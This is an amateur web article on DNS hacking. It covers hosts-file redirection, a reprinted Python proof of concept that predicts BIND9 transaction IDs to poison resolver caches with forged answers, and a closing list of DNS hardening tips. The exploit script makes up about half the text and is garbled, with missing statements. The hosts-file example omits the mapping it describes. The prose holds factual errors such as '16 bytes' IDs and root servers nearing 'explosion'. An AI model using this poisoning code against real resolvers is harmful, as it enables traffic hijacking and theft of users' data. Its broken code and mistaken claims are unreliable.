Hacking DNS


1. What is a DNS?

A DNS is a server that translates domain names into IP addresses. Every website has its IP or set of IP address-numbers. The world wide web and the computers at all work more easily with numbers, on the other hand we as humans find it hard to remember any web address as a group of numbers. For example the website Google.com has its own address in numbers(IP address):

So if you type the address above, your browser won't connect to any DNS server just because the mentioned web address is in fact a set of numbers and the computers don't need "translation". That was de facto the case in the early days of the world wide web and Internet and Fidonet(already forgotten competitor of Internet in its early days(the internet), Fidonet actually used only numbers to refer to addresses, it used already the term "zone", which is essential to the DNS server operation, but we will discuss that later).

The first DNS appeared 1993, but years prior to the 90's, a group of Berkeley students invent BIND(Berkeley Internet Name Domain), which is at present the most popular DNS server.

On the other hand the DNS history isn't that "bright" and "clear" as it seems. Since the very early years BIND and DNS in general...were always target of hacking attacks, such as "pharming", "spoofing", "phishing", "hijacking", "birthday paradox". We will state these techniques in detail below.

However, lets examine the DNS structure in better detail. In order to understand and prevent the hacking attacks we need an excellent understanding of the Internet structure at all. Many people are unaware of in what order the DNS queries take place. Some people might find it surprisingly that the DNS queries in fact occur starting from the top to the bottom -> eg. the root server -> the ISP server -> the local server -> the cache resolver.

As we however already explained in the early days of the Internet, DNS wasn't necessary. Every computer back then have had its own "host" file, surprisingly the infamous host file yet exists on Linux and Windows systems. Its role is to handle some pretty often used websites. You can modify your host file. On windows machines the host file is located: c:\windows\system32\drivers\etc\ That is the case in Windows XP. On Linux you might try to find it in /etc

You can open the host file with notepad and modify it so that any webpage could later redirect to an IP address of your choice. If you are "suspicious" enough you probably already realize the enormous bad "hacking" potential behind the DNS. In practice, assuming that you have opened your host file. Add this line on the top of your file. Please, remember to make a copy of the host file, just in case. Now open your host file with notepad, select the code inside. Delete the code originally in the host file and on the place of the old code paste this:


# Copyright (c) 1993-1999 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
# rhino.acme.com # source server
# x.acme.com # x client host localhost yahoo.com

Now open your favourite webbrowser and try to navigate to: http://yahoo.com

Now you don't see Yahoo, right??? You might be willing to reach Yahoo but instead you see...Google? Quite confusing, but what you just did was to assigning the IP address of Google to domain yahoo.com.

Needless to say, this change works only on your computer...it doesn't reach Yahoo or Google directly, but for the novice hacker this technique is nothing but an example of the extreme power hidden in the malicious DNS exploits. Of course in order to reverse this annoying hack just open the host file again and...better delete everything inside. You perhaps don't need the localhost value assigned to, even better change your localhost to some better numeric address :) like

Here is a simple diagram that shows you though the way of your DNS queries on the internet. What exactly happens in the background when you type a webaddress in your browser. The operation occurs in a second, in fact fractions of the seconds and obviously this doesn't bother you, since you reach your favorite Google.com or Yahoo.com as soon as you blink:



2. DNS hacking techniques:

2.1. The modern approach: A recent exploit in BIND 9:

Many DNS attacks attempt to use the "man in the middle" way. In other words, when the real DNS server expects an answer from the client, a malicious 3rd party software intentionally "represents" itself as the real client and hence the DNS server believes this is the real client and communicates to the malicious software, while the bad software poisons the DNS server cache...poisoning the server cache with fake results like assigning a fake IP addresses to sites like ebay.com. So the next time when a user reaches the DNS server and open ebay.com thanks to the DNS server, it actually opens a poisoned website with fake hacked IP assigned to the server which actually belongs to the hacker in order to get personal information such as credit card numbers, bank accounts... On the other hand the good news is that such attacks have been extremely unsuccessful in the last few years thanks to many patches released by BIND and other DNS servers. The DNS attacks became a hacking fashion back in the 90's even perhaps more popular than the trojans at some point. But...yet the bad security holes aren't over...A recent and a very interesting exploit in the latest versions of BIND shows that the BIND "random" numbers are actually predictable. These "random numbers" are actually the unique IDs that a BIND server must assign on a current session when it communicates with a client. Just to be sure that it really communicates with the client and not some hacking software. Another disadvantage comes from the fact that the BIND sessions are just 16 bytes coded. For people who understand of cryptography it's clear that such codes could be not only broken by brute force but even guessed with simple logic. A such interesting approach is described in great detail in the paper below:


Later, it has been written a prototype in Python to test this manual. Here is the source code:


#!/usr/bin/env python
DNS Cache Poison v0.3beta by posedge
based on the Amit Klein paper: http://www.trusteer.com/docs/bind9dns.html
output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error>
id: ID to predict
q: number of queries from the DNS server (only queries with LSB at 0 in ID)
g: number of good predicted IDs
e: number of errors while trying to predict a *supposed to be* predicted ID
import socket, select, sys, time
from struct import unpack, pack
from socket import htons
_ANSWER_TIME_LIMIT = 1.0 # 1sec
_NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], \
               [<your_dns2_hostname>, <your_dns2_ip>], \
               [<etc>, <etc>]]
class BINDSimplePredict:
  def __init__(self, txid, bind_9_2_3___9_4_1=True):
    self.txid = txid
    self.cand = []
    if bind_9_2_3___9_4_1 == True:
      # For BIND9 v9.2.3-9.4.1:
      # For BIND9 v9.0.0-9.2.2:
      self.tap1=0xc000002b # (0x80000057>>1)|(1<<31)
      self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31)
    self.next = self.run()
  def run(self):
    if (self.txid & 1) != 0:
      #print "info: LSB is not 0. Can't predict the next transaction ID."
      return False
    #print "info: LSB is 0, predicting..."
    # One bit shift (assuming the two lsb's are 0 and 0)
    for msb in xrange(0, 2):
      self.cand.append(((msb<<15)|(self.txid>>1)) & 0xFFFF)
    # Two bit shift (assuming the two lsb's are 1 and 1)
    # First shift (we know the lsb is 1 in both LFSRs):
    if (v & 1) == 0:
      # After the first shift, the lsb becomes 0, so the two LFSRs now have
      # identical lsb's: 0 and 0 or 1 and 1
      # Second shift:
      v1=(v>>1) # 0 and 0
      v2=(v>>1)^self.tap1^self.tap2 # 1 and 1
      # After the first shift, the lsb becomes 1, so the two LFSRs now have
      # different lsb's: 1 and 0 or 0 and 1
      # Second shift:
      v1=(v>>1)^self.tap1 # 1 and 0
      v2=(v>>1)^self.tap2 # 0 and 1
    # Also need to enumerate over the 2 msb's we are clueless about
    for msbits in xrange(0, 4):
      self.cand.append(((msbits<<14)|v1) & 0xFFFF)
      self.cand.append(((msbits<<14)|v2) & 0xFFFF)
    return True;
class DNSData:
  def __init__(self, data):
    for i in xrange(12, len(data)):
      if data[i] == '\x00':
    q_type = unpack(">H", data[i+1:i+3])[0]
    if q_type != 1: # only type: A (host address) allowed.
      self.name = None
  def response(self, ip=None):
    packet+=self.data[0:2] # id
    packet+="\x84\x10" # flags
    packet+="\x00\x01" # questions
    packet+="\x00\x01" # answer RRS
    packet+="\x00\x00" # authority RRS
    packet+="\x00\x00" # additional RRS
    packet+=self.name # queries: name
    packet+="\x00\x01" # queries: type (A)
    packet+="\x00\x01" # queries: class (IN)
    packet+="\xc0\x0c" # answers: name
    if ip == None:
      packet+="\x00\x05" # answers: type (CNAME)
      packet+="\x00\x01" # answers: class (IN)
      packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
      packet+=pack(">H", len(self.name)+2) # answers: data length
      packet+="\x01" + "x" + self.name # answers: primary name
      packet+="\x00\x01" # answers: type (A)
      packet+="\x00\x01" # answers: class (IN)
      packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
      packet+="\x00\x04" # answers: data length
      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # IP
    #packet+="\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00" # Additional
    return packet
class DNSServer:
  def __init__(self):
    self.is_r = []
    self.is_w = []
    self.is_e = []
    self.targets = []
    self.named_conf = []
    for i in xrange(len(_NAMED_CONF)):
      start = 0
      tmp = ''
      for j in xrange(len(_NAMED_CONF[i][0])):
        if _NAMED_CONF[i][0][j] == '.':
          tmp += chr(j - start)
          tmp += _NAMED_CONF[i][0][start:j]
          start = j + 1
      tmp += chr(j - start + 1)
      tmp += _NAMED_CONF[i][0][start:] + "\x00"
      self.named_conf.append([tmp, _NAMED_CONF[i][1]])
  def run(self):
    self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    next = False
    i = 0
    while 1:
      r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0)
      if r:
          data, addr = self.s.recvfrom(1024)
        except socket.error:
        txid = unpack(">H", data[0:2])[0]
        if p.name == None:
        found = False
        for j in xrange(len(self.named_conf)):
          if p.name == self.named_conf[j][0]:
            found = True
        if found == True:
          self.s.sendto(p.response(self.named_conf[j][1]), addr)
        # FIXME: wrong code, 'i' is 0 at begin and when 1 item in list...
        for i in xrange(len(self.targets)):
          if self.targets[i][0] == addr[0]:
        if i == len(self.targets):
          self.targets.append([addr[0], False, time.time(), [None, None], \
            None, 0, 0, 0])
        if self.targets[i][1] == False:
          bsp = BINDSimplePredict(txid)
          self.targets[i][1] = bsp.next
          self.targets[i][3][0] = bsp.cand
          bsp = BINDSimplePredict(txid, False)
          self.targets[i][3][1] = bsp.cand
          if p.name == self.targets[i][4]:
            elapsed = time.time() - self.targets[i][2]
            if elapsed > _ANSWER_TIME_LIMIT:
              print 'info: slow answer, discarding (%.2f sec)' % elapsed
              self.targets[i][5] += 1
              found_v1 = False
              found_v2 = False
              for j in xrange(10):
                if self.targets[i][3][0][j] == txid:
                  found_v1 = True
                if self.targets[i][3][1][j] == txid:
                  found_v2 = True
              if found_v1 == True or found_v2 == True:
                self.targets[i][6] += 1
                self.targets[i][7] += 1
              # TODO: if found_v1 or found_v2 is True, then show bind version!
              print "\n" + str(i) + ' target:', self.targets
              print '%f:%s:%d: id: %04x q: %d g: %d e: %d' % (time.time(), \
                addr[0], addr[1], txid, self.targets[i][5], \
                self.targets[i][6], self.targets[i][7])
              self.targets[i][1] = False
        self.targets[i][2] = time.time()
        self.targets[i][4] = "\x01" + "x" + p.name
        self.s.sendto(p.response(), addr)
  def close(self):
if __name__ == '__main__':
  dns_srv = DNSServer()
  except KeyboardInterrupt:
    print 'ctrl-c, leaving...'

At the moment we won't discuss other hacking techniques just because this isn't a hacking tutorial and mainly because as we mentioned, most of the DNS hacking ways aren't possible nowadays. Like for example the birthday paradox. Plus you will find tons of information with google on such old topics and we don't intend to copy them.

Now lets see what you can in order to protect your DNS server.

3. Protect your DNS server

  • Protect your DNS server ache pollution;
  • Enable recursion only on a specific type of DNS servers which you know(for example DNS servers from relocation of your hosting server)
  • Use firewalls. Better several firewalls! Recent studies show that around the new millennium a group of hackers broke the 13 main root DNS servers with extremely high amount of flood queries. Though the attack wasn't anything special the root servers stopped to function for several minutes. In result and the entire internet. The attack isn't that popular, because the local cache lan dns servers show every webpage as it if nothing has happened. Even if the internet wasn't practically visible at the casual web visitor, obviously several minutes without internet are not a world disaster...However this very example illustrates the potential of the flooding attacks, the so called DoS attacks(Denial of service). And as we mentioned in the particular example the root servers used several firewalls which literally saved them from overheating and literal explosion/out of service...
  • Use internal zones only;
  • Be careful in the zone transfers.
  • Always install the latest patches of BIND;
  • Create daily backups and better replicate the hard disk;
  • Configure a 3rd party local DNS server to act as the master DNS server, this way you can forbid access from the internet.
  • Better use Linux rather than Windows and perhaps Fedora or Redhat with SELInux turned on. Installing patches on these systems is always a good idea.
  • Use tools like "Necto" to scan your open ports, domains and so on. Follow for unusual activity on higher ports or on any port.
  • Deploys the server as a server core.
  • Avoid services like dyndns.
  • Use MAC addresses limitation where this is possible.
  • Install and run the DNS servers on the domain controllers.


Make a free website with Yola